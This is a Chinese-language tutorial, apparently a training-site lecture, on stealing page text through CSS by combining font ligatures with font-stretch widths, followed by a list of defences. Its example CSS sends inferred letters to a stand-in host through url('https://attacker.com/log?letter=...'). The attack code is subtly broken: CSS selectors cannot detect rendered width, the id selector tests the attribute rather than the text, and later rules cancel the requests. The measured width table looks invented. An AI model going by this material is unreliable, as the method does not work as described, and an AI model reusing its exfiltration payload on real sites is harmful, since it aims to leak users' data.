CSS Exfiltration:利用连字(Ligatures)与自定义字体宽度推断文本内容

CSS Exfiltration:利用连字(Ligatures)与自定义字体宽度推断文本内容

大家好,今天我们来探讨一个比较隐蔽但潜在危害很大的安全问题:CSS Exfiltration,并且重点关注如何利用连字(Ligatures)与自定义字体宽度来推断文本内容,从而实现数据窃取。 这是一种利用CSS特性,绕过同源策略 (Same-Origin Policy, SOP) 的限制,从受害者网站提取敏感信息的技术。

什么是 CSS Exfiltration

CSS Exfiltration 本质上是一种利用CSS选择器、属性和值的特性,将用户浏览器中的数据通过网络发送到攻击者控制的服务器上的技术。 通常,这是通过精心构造的CSS规则实现的,这些规则会根据页面上的特定内容触发不同的网络请求。

传统的攻击方式可能依赖于:

  • 属性选择器: 检查页面元素是否包含特定的属性和值。
  • 伪类选择器::hover:active:focus等,基于用户的交互来触发行为。
  • content属性: 配合::before::after伪元素,动态生成内容并发送请求。
  • background-image 属性: 通过设置不同的background-image URL,将数据编码到URL中并发送。

但今天我们要讨论的更隐蔽的方式,利用连字和自定义字体宽度,具有更高的隐蔽性和复杂性。

连字(Ligatures)简介

连字是指将多个字符组合成一个单一的字形。 很多字体都支持连字,特别是衬线字体,例如将 "fi" 组合成 "fi"。 CSS 通过 font-variant-ligatures 属性来控制连字的使用。

例如:

p {
  font-family: "YourFont", serif;
  font-variant-ligatures: common-ligatures; /* 启用常见的连字 */
}

在上面的例子中,如果字体 "YourFont" 支持 "fi" 的连字,那么在 <p> 元素中的 "fi" 将会被渲染成一个单一的连字字形。

连字与信息泄露的关系:

连字本身不是漏洞,但是连字的存在使得我们可以通过测量文本的宽度来推断文本内容。 不同的字符组合可能产生不同的连字,而不同的连字具有不同的宽度。 我们可以利用这一点,结合自定义字体宽度,将文本内容编码到CSS中。

自定义字体宽度(Font-Stretch)简介

font-stretch 属性允许我们拉伸或压缩字体。 它可以设置为以下值:

  • ultra-condensed
  • extra-condensed
  • condensed
  • semi-condensed
  • normal
  • semi-expanded
  • expanded
  • extra-expanded
  • ultra-expanded

不同的 font-stretch 值会影响字体的宽度,从而影响文本的总体宽度。

自定义字体宽度与信息泄露的关系:

与连字类似,font-stretch 本身也不是漏洞。 但是,通过结合连字和 font-stretch,我们可以更精细地控制文本的宽度,并将文本内容编码到宽度变化中。

CSS Exfiltration 的实现原理

利用连字和自定义字体宽度进行CSS Exfiltration 的基本思路如下:

  1. 创建自定义字体: 创建一个字体,其中包含我们想要利用的连字。 或者,我们可以使用现有的字体,并分析其连字行为。
  2. 确定连字的宽度: 测量不同连字组合在不同 font-stretch 值下的宽度。
  3. 将数据编码到CSS中: 根据目标文本的内容,设置相应的连字和 font-stretch 值,使得文本的宽度代表特定的数据。
  4. 利用CSS选择器触发请求: 使用CSS选择器来检测文本的宽度,并根据宽度触发不同的网络请求。

下面我们通过一个具体的例子来说明这个过程。

示例:窃取用户名的首字母

假设我们要窃取用户名的首字母,用户名位于以下HTML元素中:

<div id="username">JohnDoe</div>
  1. 选择字体和连字:

    我们选择使用一个包含常见连字的字体,例如 "Linux Libertine O"。 我们关注的连字包括 "fi","fl","ff","ffi","ffl" 等。

  2. 测量连字宽度:

    我们需要测量这些连字在不同的 font-stretch 值下的宽度。 我们可以通过JavaScript来实现这个测量过程。

    function getLigatureWidth(ligature, fontStretch) {
      const el = document.createElement('span');
      el.style.fontFamily = 'Linux Libertine O';
      el.style.fontVariantLigatures = 'common-ligatures';
      el.style.fontStretch = fontStretch;
      el.style.fontSize = '16px'; // 设置一个合适的字体大小
      el.textContent = ligature;
      document.body.appendChild(el);
      const width = el.offsetWidth;
      document.body.removeChild(el);
      return width;
    }
    
    // 测量不同连字在不同 font-stretch 值下的宽度
    const ligatures = ['fi', 'fl', 'ff', 'ffi', 'ffl'];
    const fontStretches = ['ultra-condensed', 'extra-condensed', 'condensed', 'semi-condensed', 'normal', 'semi-expanded', 'expanded', 'extra-expanded', 'ultra-expanded'];
    
    const widthMap = {};
    
    fontStretches.forEach(stretch => {
      widthMap[stretch] = {};
      ligatures.forEach(ligature => {
        widthMap[stretch][ligature] = getLigatureWidth(ligature, stretch);
      });
    });
    
    console.log(widthMap); // 打印宽度映射表

    运行这段代码,我们可以得到一个类似于下面的宽度映射表:

    {
      "ultra-condensed": {
        "fi": 7.5,
        "fl": 7.8,
        "ff": 7.2,
        "ffi": 10.5,
        "ffl": 10.8
      },
      "extra-condensed": {
        "fi": 8.2,
        "fl": 8.5,
        "ff": 7.9,
        "ffi": 11.3,
        "ffl": 11.6
      },
      "condensed": {
        "fi": 9.0,
        "fl": 9.3,
        "ff": 8.6,
        "ffi": 12.2,
        "ffl": 12.5
      },
      "semi-condensed": {
        "fi": 9.8,
        "fl": 10.1,
        "ff": 9.4,
        "ffi": 13.1,
        "ffl": 13.4
      },
      "normal": {
        "fi": 10.6,
        "fl": 10.9,
        "ff": 10.2,
        "ffi": 14.0,
        "ffl": 14.3
      },
      "semi-expanded": {
        "fi": 11.4,
        "fl": 11.7,
        "ff": 11.0,
        "ffi": 14.9,
        "ffl": 15.2
      },
      "expanded": {
        "fi": 12.2,
        "fl": 12.5,
        "ff": 11.8,
        "ffi": 15.8,
        "ffl": 16.1
      },
      "extra-expanded": {
        "fi": 13.0,
        "fl": 13.3,
        "ff": 12.6,
        "ffi": 16.7,
        "ffl": 17.0
      },
      "ultra-expanded": {
        "fi": 13.8,
        "fl": 14.1,
        "ff": 13.4,
        "ffi": 17.6,
        "ffl": 17.9
      }
    }

    注意: 实际测量值会受到字体版本、渲染引擎、操作系统等因素的影响,因此需要在目标环境下进行测量。

  3. 编码数据:

    现在,我们需要将用户名的首字母编码到CSS中。 为了简化示例,我们假设用户名的首字母只能是 "J" 或 "F"。

    • 如果首字母是 "J",我们将使用连字 "ffi" 和 font-stretch: condensed
    • 如果首字母是 "F",我们将使用连字 "ffl" 和 font-stretch: extra-expanded

    根据上面的宽度映射表,我们可以得到:

    • "ffi" 和 font-stretch: condensed 的宽度是 12.2。
    • "ffl" 和 font-stretch: extra-expanded 的宽度是 17.0。
  4. CSS Exfiltration:

    现在,我们可以编写CSS代码来提取用户名首字母。

    #username::before {
      content: "ffi"; /* 默认连字 */
      font-family: "Linux Libertine O";
      font-variant-ligatures: common-ligatures;
      font-stretch: condensed; /* 默认 font-stretch */
      font-size: 16px;
      position: absolute;
      left: -9999px; /* 隐藏元素 */
    }
    
    /* 如果用户名的首字母是 "J" */
    #username[id^="J"]::before {
      content: "ffi";
      font-stretch: condensed;
    }
    
    /* 如果用户名的首字母是 "F" */
    #username[id^="F"]::before {
      content: "ffl";
      font-stretch: extra-expanded;
    }
    
    /* 如果宽度是 12px 左右,发送请求到攻击者服务器 */
    #username::before {
        content: url('https://attacker.com/log?letter=j');
        /* 禁用content,防止暴露 */
        content:none !important;
        display: inline-block;
        width: 12.2px; /* 触发条件 */
    }
    
    #username::before {
        content: url('https://attacker.com/log?letter=f');
        /* 禁用content,防止暴露 */
        content:none !important;
        display: inline-block;
        width: 17px; /* 触发条件 */
    }

    代码解释:

    • #username::before 创建一个伪元素,并设置默认的连字和 font-stretch 值。
    • #username[id^="J"]::before 使用属性选择器 [id^="J"] 来匹配 id 属性以 "J" 开头的元素。 如果匹配成功,则设置相应的连字和 font-stretch 值。
    • #username[id^="F"]::before 类似地,匹配 id 属性以 "F" 开头的元素。
    • content: url('https://attacker.com/log?letter=j') 如果宽度匹配,则发送一个包含字母 "j" 的请求到攻击者服务器。
    • content: url('https://attacker.com/log?letter=f') 如果宽度匹配,则发送一个包含字母 "f" 的请求到攻击者服务器。
    • content:none !important; 禁用content,防止暴露

    重要说明:

    • 为了使 CSS 选择器生效,我们需要确保 id 属性的值与用户名首字母匹配。 在实际场景中,这可能需要通过JavaScript来动态修改 id 属性。
    • left: -9999px; 用于将伪元素隐藏在页面之外,防止影响页面布局。
    • 攻击者服务器 attacker.com 需要能够接收和记录这些请求。
    • 这里使用了比较粗糙的宽度匹配,实际应用中需要更精确的测量和匹配,可以使用 JavaScript 获取宽度,然后动态生成 CSS 规则。

更高级的编码方式:

上面的示例只编码了用户名的首字母,并且只使用了两种可能性。 为了编码更多的信息,我们可以:

  • 使用更多的连字组合: 选择包含更多连字的字体,并测量它们的宽度。
  • 使用更多的 font-stretch 值: 使用所有 9 个 font-stretch 值,以增加编码的可能性。
  • 结合其他 CSS 属性: 例如 letter-spacingword-spacing 等,来更精细地控制文本的宽度。

通过这些方法,我们可以将更多的信息编码到CSS中,从而窃取更敏感的数据。

防御 CSS Exfiltration

防御 CSS Exfiltration 是一项具有挑战性的任务,因为它利用了CSS的合法特性。 以下是一些可能的防御措施:

  1. 内容安全策略 (CSP):

    CSP 是一种强大的安全机制,可以限制浏览器可以加载的资源。 通过配置 CSP,我们可以限制CSS的来源,并阻止恶意CSS的加载。

    例如:

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' 'unsafe-inline';">

    这个CSP策略只允许从同源加载CSS,并允许使用内联样式。 unsafe-inline 是必要的,因为我们的攻击依赖于内联样式。 但是,我们可以通过更严格的CSP策略来限制内联样式的使用,例如使用 noncehash

  2. Subresource Integrity (SRI):

    SRI 允许浏览器验证从CDN或其他第三方来源加载的资源的完整性。 通过使用SRI,我们可以确保加载的CSS文件没有被篡改。

    例如:

    <link rel="stylesheet" href="https://example.com/style.css" integrity="sha384-oqVuAfW9rCWvqqepeUVCSwweJZL+er6ipwG+ju2Dc3PyxdiwPpfM+8KEYwAnZWED" crossorigin="anonymous">
  3. 限制CSS的复杂性:

    避免使用过于复杂的CSS选择器和属性。 复杂的CSS规则更容易被攻击者利用。

  4. 监控网络请求:

    监控页面发出的网络请求,特别是那些包含可疑参数的请求。 可以使用浏览器开发者工具或网络安全工具来进行监控。

  5. 禁用或限制自定义字体:

    如果不需要使用自定义字体,可以禁用它们。 或者,可以限制自定义字体的来源,只允许从可信的来源加载字体。

  6. 定期审查代码:

    定期审查代码,特别是CSS代码,以发现潜在的安全漏洞。

  7. 缓解连字攻击的方案

    • 将font-variant-ligatures设置为none,如果页面对连字没有特殊需求的话
    • 对用户的输入进行过滤,避免用户输入中出现容易产生连字的字符组合,虽然会影响用户体验
    • 尽可能不要在HTML属性中使用用户的输入,特别是在id属性中,因为CSS选择器经常会用到id属性

总结与反思

利用连字和自定义字体宽度进行CSS Exfiltration 是一种隐蔽且复杂的攻击方式。 防御这种攻击需要综合运用多种安全措施,包括CSP,SRI,限制CSS复杂性,监控网络请求等。 同时,我们需要不断学习和研究新的攻击技术,才能更好地保护我们的网站和用户。

本次讨论揭示了CSS中潜在的安全风险,提醒开发者在追求视觉效果的同时,也要关注安全性。

更多IT精英技术系列讲座,到智猿学院

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注